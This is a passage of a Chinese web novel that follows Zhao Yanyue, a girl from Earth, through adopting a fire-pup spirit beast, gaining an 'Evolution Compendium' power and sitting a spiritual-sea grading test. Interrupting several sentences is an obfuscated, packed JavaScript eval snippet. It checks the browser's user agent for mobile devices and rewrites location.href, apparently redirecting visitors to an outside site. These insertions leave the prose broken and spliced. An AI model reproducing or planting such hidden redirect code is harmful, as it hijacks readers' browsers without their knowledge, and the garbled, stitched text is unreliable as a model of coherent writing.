孟檬被她气得哼了一声，转而老实道：“真聊天，只不过不聊你新家的事，是另一个话题。” “讲。” “你后天也要去绿野一中上学了，应该知道当天会搞精神海等级鉴定测试进行分班吧。” “你是因为这个睡不着觉？” 孟檬把自己的头搁在抱枕上，浑身散发出的忧伤比提起赵宴月要去新家时真心实意得多。 她看着脊背挺直的赵宴月，戳了戳她问道：“你不担心自己会是个精神海只有E级甚至F级的普通人吗？” “按照联邦政府发布的数据来看，50%的人都能成功构建出D级精神海，有什么好担心的。” 撒因在地球上的时候就说过赵宴月的精神力很强，那她构建出的精神海等级绝对不会低。 这对于赵宴月来说简直就是开卷考，她当然不会担心。 “那还有足足50%的人都是E级和F级呢。”孟檬愁得头秃，看着旁边早已神游天外的少女那是越看越气。 “你不紧张吗？” “不紧张。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421338|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不可能！哪有人会不紧张的！”孟檬跳脚，她想了想又立马恍然大悟：“你是不是之前就去鉴定中心鉴定过精神力了？” 虽然精神力的最终发育完成是在成年时期，但在12岁的时候就已经趋于稳定了，之后只会缓慢增长。 很多家长在孩子12岁的时候就会带去鉴定中心，花大笔大笔的鉴定费进行精神力鉴定，从精神力的强度大致推测出孩子能构建出的精神海等级。 ——这样一个号废了可以迅速另起一个号，等到孩子都18岁了才发现是个精神海不到D级的普通人，那真是一切都晚了。 对于孟檬的疑问，赵宴月慢条斯理地回答：“对，鉴定过了，鉴定我精神力超强，能构建出S级精神海。” 有这个钱去自费鉴定精神力，怎么想都不会来孤儿院。 孟檬没忍住翻了个白眼，“那你真厉害。” 气氛安静了下来，银白的光芒透过窗户洒进室内，营造出一个令人安心的隐秘氛围。 就在赵宴月打算开口赶人的时候，孟檬咬了咬唇，仔细观察着赵宴月的神情，犹豫道：“你有没有想过……净化师？” 她说完这句话立马陷入了自嘲，有点后悔开口。 “你会不会觉得我太异想天开了？毕竟净化师那么稀有，别说绿野城，可能整个明珠区一年也只能出一个。” 天市星36个区，平均每个区五千万的人口，明珠区作为人口大区，常住居民数量将近八千万，也只有一年出一个的概率。 孟檬当然知道这个概率低到令人发指，可她却希望这个八千万分之一的幸运儿就是自己。 就算她说自己异想天开也是正常的。 孟檬在赵宴月开口前就已经将自己安慰好了。 然而赵宴月啧了一声，懒洋洋道：“想想又不犯法，再说了当净化师有什么意思。” “那可是净化师！受无数人敬仰和推崇的净化师！” 孟檬一个激动直接打开了光脑，给赵宴月展示道：“看，去年净化天赋检测仪式上最引人注目的天才，A级净化师许清雪殿下，星网上粉丝一年时间就突破了六亿！整个三垣星系谁不知道她的名字？” 赵宴月兴致缺缺，看都懒得看一眼，敷衍道：“那我祝你成功吧。” 她傲慢的姿态就好像对孟檬梦寐以求的东西不屑一顾。 孟檬气鼓鼓道：“再怎么没意思总比天天去垃圾桶里捡牛奶罐罐有意思。” 赵宴月闻言瞪大了一双漂亮的狐狸眼，用指尖指着孟檬道：“你你你！你敢笑我！” “我我我，我怎么了，我说的哪里不对了。” “捡垃圾怎么了！我迟早是联邦首富。”赵宴月恼羞成怒地把孟檬从沙发上拖起来推出房门：“该死的外星人，绝交。” 房门啪地关上，差点撞到孟檬的鼻尖。 被风吹起的发丝重新落下，她摸了摸鼻子“切”了一声，一边往隔壁房间走一边嘀嘀咕咕道：“还联邦首富呢，她真敢想！这不比我是净化师还异想天开。” 5. 第 5 章 【别气别气，气坏身体没人替】 撒因搜索出地球上学来的顺口溜给赵宴月顺毛。 “当净化师根本就没有捡垃圾有意思！”赵宴月强调道。 撒因有点想反驳，但是思考了片刻后，又觉得对赵宴月来说，某种程度上可能、大概、确实是这样。 净化师的生活有没有她之前奢侈还真难说，但是捡垃圾还真是第一次，可不把人给新鲜坏了。 【再多捡几天就没意思了，你难道不想回到之前的生活水平吗】 “我当然不喜欢过得穷困潦倒的。” 宿主并没有像它以为的那样赌气说不想，这让撒因有些小小的惊讶。 虽然已经一起生活了一小段时间，但撒因还没有挖掘出赵宴月除了傲慢和任性之外还有什么更深层的美好品质。 这何尝不是一种表里如一呢，撒因欣慰地想到。 【当然不会，最多三个月，等净化天赋检测仪式开启，你就可以过上和之前一样的生活】 【吃穿不愁，数人服侍，成为云中宫殿里最璀璨的明珠，获得相对成功的人生！】 撒因一说到这，感觉自己的系统核心变得滚烫了起来，机械音也带上了点情绪起伏。 让宿主过得风生水起，这就是它成功人生辅助系统生命的意义！ “什么明珠，我要当联邦首富。” 这句话如同一桶冷水浇在头上，撒因的系统核心瞬间冷却，还变得有点漏风。 【……这又是什么时候定的目标】 “刚刚。” 赵宴月将被子拉到肩膀，任由撒因在她脑子里做了一篇又一篇的分析报告，试图将她拉回正确的，更加容易成功的鲜花大道。 赵宴月对此的回应是：“晚安。” 她伸出一只手像个招财猫似的招了招，然后安详地闭上了眼。 在刚踏上天市星的土地时，在撒因的念念叨叨下，她就已经对净化师这一行业有过了解。 数百年来和人类打得水深火热的虫族，它们身上会逸散出一种污染能量直接污染契约者的精神海，净化师就是解决精神海污染的唯一办法。 任何居民一旦被检测出净化天赋，就会被接到位于紫微星的云中宫殿里包吃包住，从此脱离原有星籍，直属联邦政府管辖。 联邦会给每位净化师分配净化工作，每个月也有数额十分可观的薪资，不管是地位和财富都会直接来到金字塔的顶端。 大部分净化师会在星网建立账号，一是他们的存在可以稳定军心，二是每天还能听到超多彩虹屁和夸夸，就这么幸福快乐一辈子。 听着确实是绝大部分人辛辛苦苦打工人梦寐以求的生活，但令赵宴月完全无法接受的是，由于净化师实在太过珍惜，任何有危险的事情都是坚决不被允许做的，只能当城堡里的金丝雀。 这种人身控制简直比她爹还恐怖。 她来三垣星系当净化师还不如回地球当她的赵氏财阀继承人呢。 赵董事长对她的限制更少不说，她和她爹好歹还是亲生父女，反抗起来也就是顺手的事，十分得心应手。 freedom！！！ 她感应着胸口处的金光，决定把人生目标换成干掉联邦首富，成为首富本人。 不是她说，这首富合该她来当，问就是她开挂了。 赵宴月一想到这，就对明天充满了干劲。 第二天一大早，许爷爷和许奶奶就开着私人飞行器来孤儿院接走了赵宴月。 私人飞行器的规范行驶高度比城区巡逻舰要低一些，但也能把蛛网似的城市俯瞰图被尽收眼底。 地面上的建筑从宽松的蛛网变成密密麻麻的蛛网，许奶奶操控着飞行器开始缓缓下降。 许爷爷此时板着一张脸，指着地面上越拉越大的建筑严肃道：“灵兽商业街210号，以后在星网上买东西就填这个地址。” “知道了爷爷。” 赵宴月丝毫不见外，趴在窗边朝下看。 灵兽商业街并不只是一条街道，以灵兽孵育中心为圆心向四周辐射的一块区域都叫做灵兽商业街，是绿野城最繁华、人流量最大的商业区之一。 这里有各种各样的灵兽店，绝大部分店铺都只售卖一种灵兽。 根据售卖的灵兽不同，店铺的装修风格也迥异，让整片区域看起来格外丰富多彩。 名字叫做幼火犬灵兽店的店铺在这一条街道就有至少二十家，椭圆形的飞行器在距离灵兽孵育中心不远处的幼火犬灵兽店门口停了下来。 这一栋双层带尖顶阁楼的建筑有两个铺面，一个铺面是可供通行的玻璃门，一个铺面是一整面的落地窗，将内部的景象全部展现在外。 来往的行人一眼就能看到店里三四只幼火犬摇着尾巴互相追逐打闹，乱七八糟的玩具被叼得到处都是，还有一只趴在窗边安静地晒太阳。 这里对赵宴月来说并不陌生，尤其是门口的垃圾箱，那更是老熟人。 许家两老下了飞行器后，飞行器便自动收纳进了店门旁的能量桩里，省略了倒飞行器入库的步骤，十分方便快捷。 赵宴月看着窗边的幼火犬两眼放光，趴在窗边的幼火犬此时也睁开了眼，目光停留在赵宴月的身上。 许奶奶见她这兴致勃勃的模样，脸上立马露出几分笑来，“月月可以去和它们玩玩，看看有没有喜欢的。” “能不能契约还是件没影的事……” 话还没说完，许奶奶一瞪眼，老爷子立马讪讪地闭了嘴。 幼火犬虽然被叫做犬，但长相明显更像是一头小狼，口吻较长，四肢粗壮，一双绿色的大眼睛还不具备什么威慑性。 它们黑色的鼻头湿漉漉的，浑身上下的毛发橘色和红色交杂，长着一条毛茸茸的超级大尾巴，四个爪子上有一圈白色的毛，像是被套上了四个白色的环。 因为进化态的烈焰犬就开始往犬的外貌特征进化，终极态的星火烈犬更是直接丧失了狼的特征，所以整条进化链最终被命名为“犬”。 赵宴月想起垃圾回收站里裘青枫的星火烈犬，它身上确实已经完全没有了狼的影子。 许家两老一进店，橙红色的幼火犬便摇着尾巴热情地围到了两人的脚边，伸出爪子勾着两老的裤腿求摸摸。 可惜两个老人加起来也就四条腿，唯一被剩下的那只似乎也没有要争抢的意思，依旧坐在窗边。 它绿宝石一样的眼睛和孤零零的赵宴月对视了片刻，踌躇了许久还是没有上前。 这是五只幼火犬里尾巴最大，眼睛最绿、长得最漂亮的一只，也是赵宴月的心动嘉宾。 她第一次来这捡垃圾的时候就看到了坐在窗边的它，那一瞬间她都想倒掉麻袋里的空罐罐，直接进行一个入室抢劫套麻袋的大动作。 不过在天市星，或许掏出精灵球砸过去，顺便喊一句“就决定是你了”才是正确的操作。 裤脚边传来一阵拉扯感，赵宴月回过神垂眸看去，发现最先跑过来的那只幼火犬不知何时已经从许爷爷的腿上滑了下来，转而伸出爪子勾着她的裤子试图往上爬，嘴里还不断发出着急的“吱唔”声。 赵宴月干脆把它拎了起来，幼火犬的手感摸着毛茸茸的，一条蓬松的大尾巴几乎和身体一样大，很是热情地在身后甩了又甩。 端坐在一边的小狗见状眼眸一黯，耷拉着尾巴回了墙边的窝。 “那只是小五，它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421339|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格有点胆小，也不太合群。”老爷子说完指了指赵宴月手里的那只道：“这是老大，另一个极端，胆子大，不认生，最活泼好动的就是它。” “好了好了，先上楼来认认房间吧。”许奶奶站在二楼的楼梯口，朝着还在一楼的两人招呼道。 “来了。” 二楼是三室一厅的配置，给赵宴月准备的房间在西北角，对面是许家二老的房间，隔壁就是许奕的卧室。 即便主人已经二十年没有回家，他的房间依旧被老人打理得很好，床头柜上的花瓶里还插着新鲜的鲜花。 见赵宴月往许奕的房间看，许奶奶也顺着看了过去，说道：“我一直不愿意相信许奕真的去世了，总想着他会不会哪天就会突然回来。” 她的声音里已经没有太多沉痛，听起来只剩下感叹：“一转眼都二十年了，以后这间屋子就给我们月月改成书房吧，放着也是浪费。” “不是说许奕……”赵宴月顿了顿，改口：“我爹只是失踪嘛，指不定哪天就自己回来了呢。” “要是能回来，这么长的时间就是爬也能爬到家了。”许爷爷哼了一声，摆了摆手：“不提他了。” 许奶奶也道：“快来月月，来看看这个房间你喜不喜欢。” 房间里的家具都是全新的，空间规划得也很漂亮，从各种各样的小装饰中也能看出布置的人很用心。 特别是房间里的一张大床看着十分好睡，窗外的阳光洒在被子上，透着一股安宁的氛围。 推开窗户，楼下熙熙攘攘的人声便涌入了进来，关上窗户又是一室静谧，有种闹中取静的舒适感。 “昨晚院长说你愿意来我们家，东西都是临时从星网上买的，看看有没有哪里不喜欢？” 许奶奶笑眯眯地接着说道：“我当初看见月月的第一眼就觉得投缘，立马就去孤儿院打听了，要是你不愿意来，我和老头子也不打算养其他的小孩，所以也没提前布置。” 姜还是老的辣，一段话把赵宴月听得尾巴都要翘起来了。 她直接往窗外一指，熟练画饼道：“等我出人头地，我就把这条街买下来送给爷爷奶奶。” 许奶奶顿时乐不可支，连喊了好几声“乖崽”。 许爷爷：“……” 他要这条街做什么。 赵宴月放好东西满屋子里转了转，然后就转下了楼。 听着“噔噔噔”的脚步声，许奶奶摇头笑道：“这孩子，又和幼火犬玩去了，小五望妻石似的天天蹲在窗边等她过来翻垃圾箱，见到人了又不敢吱声。” “老大不也对她很热情，还是得看她自己喜欢哪只。”老爷子随口回了一句，而后又喊来家务机器人，吩咐今晚多做几个菜。 许奶奶不赞同道：“老大那不是见谁都喜欢？再说了小五是五阶幼火犬，等阶也比老大高。” “那你怎么知道老大对她不是最喜欢？灵兽的初始等阶能看出什么，还得契约者的精神海等级高才行。” 许奶奶一哽：“也不一定就非得在这五只幼火犬里挑，一辈子也就只能契约一只灵兽，万一月月想契约机甲战宠也不一定，说到底还是得多看看，必须双方都投缘才行。” 老爷子沉默了好一会儿才说道：“契约机甲战宠得达到B级精神海，现在能不能到D级还是个问题呢，我倒觉得当个普通人就挺好。” “你都多大岁数了，这种人生感悟对小孩来说可不管用。” “这倒也是。” 对于这个年纪的小孩来说，知道自己不能契约灵兽获得超能力无疑是个天大的打击。 许久没为孩子的事操心的两老对视一眼，想到明天的精神海等级鉴定测试，忽然有点发愁。 6. 第 6 章 赵宴月下楼的脚步声一响，小二小三小四立马探头探脑地观望了起来。 被许爷爷评价为最活泼好动的老大已经摇着尾巴往楼梯口冲了过去，一见到赵宴月便试图往她身上爬，确实是一点也不认生。 最认生的那只和赵宴月的视线一交错，彻底缩进了窝里，只有毛茸茸的尾巴尖露在外面。 赵宴月哼笑一声收回视线，并不着急追求她的心动嘉宾，反倒是蹲下来摸了摸老大的头。 幼火犬被她摸得哼唧哼唧，而她眼前也浮现出一句泛着金色光芒的话。 “不满足要求，未被《进化图鉴》收录。” 自从昨晚陨石里的那一团光芒冲进了她的胸口，赵宴月立马明白了这团金光到底是什么东西。 确实如撒因所说，虽然不是什么长生功法，但《进化图鉴》确实是一种传承——关于灵兽进化的传承。 但是不满足要求到底是个什么意思？她还指望这个发家致富呢。 赵宴月不信邪地将偷偷摸摸凑到她脚边的小二小三小四挨个摸了一遍，结果一模一样的话接二连三地弹出了三次。 少女有点烦躁地扯了扯头发，一抬眼又发现小五不知道什么时候从尾巴朝外变成了头朝外的姿势，窝里一双绿眼睛怔怔地盯着她，有些落寞地看着她和几只幼火犬互动。 赵宴月眼睛一眯，几乎立马就意识到她压根不是单相思，这只小狗看起来很喜欢她。 她脸上升起一抹得意的笑，一双狐狸眼弯成漂亮又狡猾的弧度，伸出手勾了勾：“过来。” 小五一个激灵，下意识又往窝里缩了缩，然后又往外探了探，犹豫着没有动作。 它确实是一只胆小的幼火犬，但它很喜欢这个人类，比之前见到的所有人类加起来还要喜欢。 为什么要叫它过去呢，要是人类能自己过来摸摸它，它肯定不会躲的。 人类似乎根本不懂小狗心里在想什么。 赵宴月不但没有朝它靠近，反而好整以暇地坐到了更远处的椅子上。 难道她不喜欢自己？小五失落地想。 可是她又让它过去，明显是想摸摸它。 难道她不喜欢自己？ 可是她又让它过去…… 小五内心天人交战，在窝边转了好几圈，但死活不肯朝外面迈出一步。 它一双绿眼睛看向赵宴月的眼神愈加期盼，试图让人类理解它的意思，想要被摸摸的态度已经没有之前表现得那么含蓄。 赵宴月随手从桌子上抽出一张纸盖在自己脸上，不知道是为了挡住外面的阳光，还是挡住小五传递的渴望视线。 向来是个安静哑巴的小五见状着急到发出了吱唔吱唔的叫唤声，试图让木头人类开窍。 撒因都有点不忍心了，给赵宴月发出了善良的提醒。 “它叫我过去我就要过去？那我岂不是很没有面子。” 已经察觉到小五心意的赵宴月直接蹬鼻子上脸。 关于赵宴月的性格特征，撒因现在觉得除了傲慢和任性以外，还可以加一个“恶劣”。 向系统核心发誓，这几个词绝不包含任何主观贬义的成分，事实上撒因甚至觉得自己对她拥有天然的滤镜。 纠结的时间对小五来说每分每秒都过得煎熬，人类既不朝它这边看，又听不懂它的呼唤，小五简直失去了所有的力气和手段。 想要对人类做出回应，似乎只有自己朝她走过去这一条路。 它站在窝边抬起脚又放下，将这个动作重复了好几遍，但就是缺乏迈出去的勇气。 主动对于一只胆小的小狗来说，本来就是件很难的事。 一秒，两秒，一分钟，两分钟，就在小五想要放弃的时候，赵宴月施施然将脸上的纸张拿了下来。 木头人类坐了起来，撑着脸颊笑眯眯地再次朝小狗发出不开窍的邀请：“小五，过来。” 她邀请的时机把控得刚刚好。 全身上下写满了着急和无措的小小身影僵硬了片刻，忽然如同脱弦的箭一般朝赵宴月跑了过来。 小五跳上了赵宴月的大腿，抬起濡湿的绿眼睛和她对视着，吱唔吱唔地不知道在诉说着什么，然后得到了一顿舒服的摸摸。 不知为何，一股巨大的成就感从小五的心里油然而生。 赵宴月单手给它做了个全身spa，在触摸到小五的同时，她眼前也立马浮现出一行金色的字。 “不满足要求，未被《进化图鉴》收录。” 到底要满足什么要求。 赵宴月的脑子已经被这一句话刷屏了。 幼火犬是绝对的大众灵兽，它的完整进化链人尽皆知到连她这个刚来天市星的外星人都知道。 连这个都没收录，还好意思叫“进化图鉴”。 “幼火犬，进化态烈焰犬，终极态星火烈犬，非机甲战宠，根据天赋技能划分为攻击类灵兽，进化态可觉醒火属性技能，灵兽价格为20-35w星币，价格适中，深受契约者喜爱。” “幼火犬完整进化链于星历102年由生物机甲工程师姜文山发表于《光轮》，距今已有100年历史。” “100年知识产权已到期，于星历202年，消费者购买幼火犬无需额外支付5%的知识产权费。” AI女声尽职尽责地为主人读取着星网上关于幼火犬的官方科普，平淡的机械音里仿佛充满了对《进化图鉴》的蔑视。 沉默，沉默是《进化图鉴》今晚的康桥。 赵宴月摸着小五毛茸茸的毛发，懒洋洋道：“什么档次，还不如星网百科。” “吱唔吱唔。”小五听见赵宴月的声音立马给出了回应，听着就像是在附和似的。 过了好一会儿，赵宴月眼前才隐隐约约浮现出一行小发雷霆的金字。 “关于灵兽进化，《进化图鉴》无所不知！” “无所不知？真的假的？”赵宴月漫不经心地反问，而后挑眉教唆道：“那你把黑帽猫的进化链给我看看。” 黑帽猫兽如其名，是一只头上戴着一顶黑色魔法师尖帽的黑猫。 因为外形优雅神秘，无数人倾倒在它的帽檐之下，“黑帽猫猫教”在星网上更是如日中天。 唯一遗憾的是，它的进化链被各路人马研究至今仍未被发现。 除了极少数狂热分子，任何有条件的契约者都不会选择契约一只没有明确进化链的灵兽。 一旦黑帽猫的完整进化链被人发表，以它的受喜爱的程度来看，只要天赋技能不是特别没用，那靠知识产权费登上联邦富豪榜真是指日可待。 那可是5%的知识产权费，背后代表的金额庞大到超乎想象。 《进化图鉴》似乎是为了证明自己似的，反应很快地在空中浮现出一行字。 “契约黑帽猫即可解锁。” ？ ……真、能、解、锁。 赵宴月给小五顺毛的手一僵，微微坐直了身子。 她怀里的小五抬起头，水汪汪的绿眼睛疑惑地看着她。 已知幼火犬的完整进化链早已被发表，已知一个契约者一辈子只能契约一只灵兽，已知她的目标是当联邦首富。 虽然她一眼就相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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机械音闻言又叹了一口气。 “月月！” 熟悉的声线传到耳边，赵宴月循声看去。 坐在最后排的孟檬朝她招着手，大方地拍了拍自己旁边的空位招呼道：“过来坐。” 赵宴月走过去一落座，孟檬的两只手立马像个八爪鱼似的缠上了她的手臂，整个人化身复读机：“好紧张好紧张好紧张……” 长得珠光宝气的少女把她扒拉开，嫌弃道：“你稳重点好吗。” “不好。” “fine。” 赵宴月拗不过她，一只手被孟檬死死抱着，另一只手艰难地从许奶奶给她准备的零食包包里摸出一瓶人类牛奶。 牛奶罐被夹在双腿之间，赵宴月单方面屏蔽了来自隔壁的噪音，聚精会神地挑战着单手把吸管戳进去。 啪叽一声，吸管从中对折，赵宴月一拧眉，捏住中间的折痕又是一戳，这一回吸管尖尖又弯了。 怒气值开始上升。 她讨厌所有生产劣质产品的商家，赵宴月面无表情地开始琢磨该怎么让他们全部原地破产。 一只手抽出她手里的吸管，轻而易举地插进了牛奶罐坚硬的铝箔封口膜。 赵宴月转头看去，孟檬的手又恢复了八爪鱼模式，眨巴着一双小鹿眼无辜地看着她。 “……你的实力我认可了，外星人。” 7. 第 7 章 行驶了十分钟左右，悬浮公交车又是咻的一下便稳稳停靠在了绿野一中终点站。 赵宴月拖着超大挂件下了车，往校门口走去。 正值开学季，绿野一中恢宏大气的白色浮雕拱门附近人山人海，汇聚着令人眼花缭乱的飞行器和悬浮车。 天上地下的警卫队都打起了十二分的精神，维持着校门口前的安保和秩序。 “好多人啊。”赵宴月再次发出感叹。 “今天只有高三学生进行精神海等级鉴定测试，等明天高一高二的学生开学那才叫热闹呢。”孟檬还紧紧地抱着她的胳膊，目光往周围扫了一圈，“这哪里算人多了。” 正对着校门口的位置立着一尊雕像，长得像金色大喇叭一样的不知名鲜花种满了雕像脚底下的小花坛。 大喇叭花此时正在激情发声：“同学们好！请有序赶往大礼堂！九点整将进行签到，迟到者扣学分！迟到者扣学分！迟到者扣学分！！！” 赵宴月看着激情四射的喇叭花，又“哇塞”了一声，发出了没见识的声音：“这朵花还会说话！” “说话的是金铃花里的喇叭虫好不好！那是宣传部于老师的灵兽！花怎么可能会说话！”孟檬忍无可忍地把快要凑到金铃花脸上的赵宴月拉走，“迟到扣学分，快走！” 虽然在赵宴月的认知里，虫也不应该会说话，但是再问下去会显得她像个傻瓜。 学生们互相之间热烈讨论着精神海等级鉴定测试的事，通往大礼堂的一段路上热闹得堪比一百只鸭子在耳边嘎嘎叫。 赵宴月的心思还在那只喇叭虫身上，她退出星网百科，疑惑道：“星网上说喇叭虫没有完整进化链，为什么于老师要契约它？” “当然是因为没钱。” 孟檬一下子就停下了脚步，甚至对她的问题感到了些许匪夷所思：“有完整进化链的灵兽，即便是个灵兽蛋也至少15w星币起步，可是有足足一半的人精神海都能达到D级去契约灵兽，又不是谁都买得起的。” 之前还说足足一半的人都是普通人，担心自己不能成为契约者，现在又变成足足一半的人都能成为契约者了。 赵宴月一时分不清这个“足足一半”到底是多还是少。 “如果我的精神海等级达到了D级，我也只能契约一只没有完整进化链的灵兽。” 孟檬说到这顿了顿，小鹿眼里忽然盛满了梦想和期待：“所以我做梦都想成为净化师逆天改命。” “梦想很好，但你先别做梦。” 赵宴月不太关注她这成功概率约为八千万分之一的逆天改命大法，问道：“没有企业成立资助项目吗？财政部的专项贷款呢？” 贷款或许有门槛，但是申请资助项目应该不会太困难，印象里赵董事长就建设了不少人才投资项目，也取得了卓越的成效。 孟檬一听到贷款立马睁大了一双小鹿眼，气哼哼地抱怨起来：“买不起灵兽蛋的人哪里申请得到15w的大额贷款！买得起的人也不需要去贷款。” “资助项目好像确实有，不过还是那句话，足足有一半的人都是契约者，精神海等级不够高的也没有资助的价值。” 在身边的人叽里呱啦的时候，赵宴月已经颇为熟稔地登上了星网，堪称10G冲浪的当代信息收集专家。 等孟檬的一长串话说完，她才慢条斯理总结道：“猎人公会的最低资助标准是B级精神海，B级精神海在所有契约者里占比约为4.85%，你现在最要紧的，就是先测试精神海等级有没有B级，然后再考虑成为净化师这件事。” “……这个概率听起来确实是比八千万分之一高哈。” 安静了没一会儿，孟檬又抱着赵宴月的手狂摇道：“可是我就是想当净化师怎么了嘛！被叫‘殿下’真的很酷诶！” 绿野一中大礼堂的内部空间很宽阔，在场除了师生和校领导之外，还有不少鉴定中心的工作人员和带着电蝇蛾的媒体工作者。 电蝇蛾长得像只翅膀带闪粉的仙女蝴蝶，是不少媒体工作者契约的灵兽。 它的眼睛由将近三万的小眼组成，比市面上最先进的摄影设备成像还要清晰，并且不带任何镜头畸变。 这是一种非攻击类的灵兽，天赋技能就是基于复眼衍生出来的“成像”，用过的摄影师都说好。 普通的高中开学并不会吸引媒体人的视线，但是每年一届的精神海等级鉴定测试被报道的价值就很高了。 现在学生们还在陆续入场，暂时还不是抢头条的时候，记者们都相当放松，还能和对家报社的人凑一起闲聊唠嗑。 “今年不知道能出多少B级和B级以上的学生，我记得绿野一中去年的数据是五十多个？” 绿野日报的徐回闻言查了查资料，播报道：“我看看啊……去年参与测试的学生数量1109人，其中D级308人，C级196人，B级49人，A级2人。” “A级那两个我知道，我去年还报道过呢，好像都考去一区的斯伦军校了，一个都没去兰柏林军校。” “斯伦去年录取的A级生确实比兰柏林多点，但是兰柏林去年录取的S级生足足比斯伦多了两个，总体还是难分高下。” 都说到这了，徐回用手肘碰了碰旁边的记者道：“诶，你说这里等会儿能出个S级吗？” “你吃眩晕菇吃中毒了吧，这也敢想。” 徐回反驳道：“想想怎么了，要是出个S级就不是上我们绿野城的新闻了，得上明珠区的新闻，不知道能拿多少奖金……” “刚干新闻这行的新人就是胆子大，就这么说吧，我年年都来绿野一中采访，二十多年职业生涯没出过一个S级。” “万一呢……” 九点整，学生全部进场签到完毕，一个个都在台下的一排排单人座椅里挑了又挑，试图找个风水好的心仪位置。 穿着正式的校长走上了主席台，他抬手往下压了压，示意台下还在讨论的同学们坐好并保持安静。 “同学们好，首先恭喜大家正式进入了高三下学期的新阶段，不过在精神海等级鉴定测试开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她瘪了瘪嘴，也跟着戴上了头盔，在砰砰作响的心跳声里，眼前弹出一道系统提示。 “孟檬，居民序列号xxxxxxxxxx，学号xxxxxxx，请核对身份信息。” …… 赵宴月已经沉迷基建无法自拔了。 按照“越庞大越好”的目标，她直接建模了一整个星球。 五湖四海，山峦河流，构造出看似广袤无垠的世界其实很简单，但似乎只能止步于作画的程度，想要更精细也无非是给这幅画加上颜色和细节。 在庞大精神力的支撑下，赵宴月用起精神力毫不手软，左一点细节右一点细节，大刀阔斧地在自己的脑子里搞出了一副3D的地球模型。 只要放大就能看见世界上的每一个角落，连树上的每一片叶子都脉络清晰，绝对够得上总指挥所说的“精细”两个字。 随着3D模型渐渐完善，坐在总控台前的工作人员立马被第789号机器显示的数据吸引了视线。 8. 第 8 章 显示屏前的工作人员眼前一亮，招呼着旁边的同事，兴奋地指着自己面前的屏幕道：“快看快看，第一个A级在我这！” “行行行，你赢了，今晚我请客。” 无伤大雅的小赌局没一会儿就分出了结果，输家唉声叹气，结果刚收回视线关注起自己的屏幕，就见自己监控的区域紧跟着也有学生达到了A级线。 399号，宋幼安。 这下好了，本来已经认命的她顿时一拍大腿，感觉自己错过了一个亿：“可惜了！就差一点点，怎么这么不争气！” 其他同事被这两人吸引，七嘴八舌道：“绿野一中今年运气不错，保底也有两个A级了，去年也是两个A级吧，而且这两个同学潜力都很高啊，这么快就达到了A级线。” 总指挥不声不响地站在了众人的身后，她看着屏幕上的身份信息忽而一挑眉，像是发现了什么有意思的事情，勾了勾唇。 有人此时也惊讶出声道：“编号399那个学生，是不是就是宋家那个小少爷？听说他早就已经契约了灵兽？” “宋家？哪个宋家？” “天市星富豪榜前十那个宋家，整个天市星的灵兽孵育中心都是他们家开的。” “嚯！不对啊，他现在才构建出精神海，之前没有精神海怎么契约的灵兽？” “据说是临时构建的精神海，好像13岁的时候就契约了。” “13岁？这岁数精神力虽然没有太大波动了但也还在发育期呢，构建的精神海要是不小心被发育中的精神力顶塌了，那整个人的精神海都废了，什么牛皮哄哄的灵兽让他这么着急契约？” “这不是一直没塌么，现在重建好也就稳定了，不过我也不知道他契约的什么灵兽，应该是机甲战宠吧？不然这么高的精神海等级岂不是血亏。” 总指挥的声音不咸不淡地加入了聊天群：“他契约的善鳄龟，宋家祖传的，一只还没有发现进化链的灵兽，没人知道是不是机甲战宠。” 摸鱼被领导抓包，众人顿时噤声，用眼神交流着自己的震惊。 有人忍不住悄悄打开光脑现场百度了起来，发现善鳄龟强不强的不知道，只不过确实算得上极度稀有。 据说善鳄龟是宋家第一代家主从一个100年才重现一次的灵兽秘境里带出来的，市面上根本找不到善鳄龟的灵兽蛋。 只不过善鳄龟还没有进化链……甚至连进化态都没被发现，没到进化态的灵兽连天赋技能都还没觉醒，再稀有也完犊子。 亏得他们宋家就这样了还能一代又一代地契约善鳄龟，甚至传到了现在。 总控台那边发生的事赵宴月并不知道，她正仔细端详着脑海中创建出来的虚拟世界。 即便这个世界已经足够庞大也足够精致，每一处细节看着都十分完美，但赵宴月总觉得还没有达到能令她满意的效果。 到底还有哪里不够完善？ 思考之间，赵宴月又用精神力构建出了水的大循环，水汽在海陆间的流通让整个模型看着更加生动了几分，但似乎还是不够令人满意。 一滴雨水砸落在她的脚边，惊醒了陷入沉思中的赵宴月。 她恍然抬眸，伸出手去接天上的雨滴，忽而察觉到周边完全静止的一切是如此的格格不入。 即便看着再宏伟，再精细，这也只是个死气沉沉的、没有生命力的模型，一个完全称不上是“世界”的玩具。 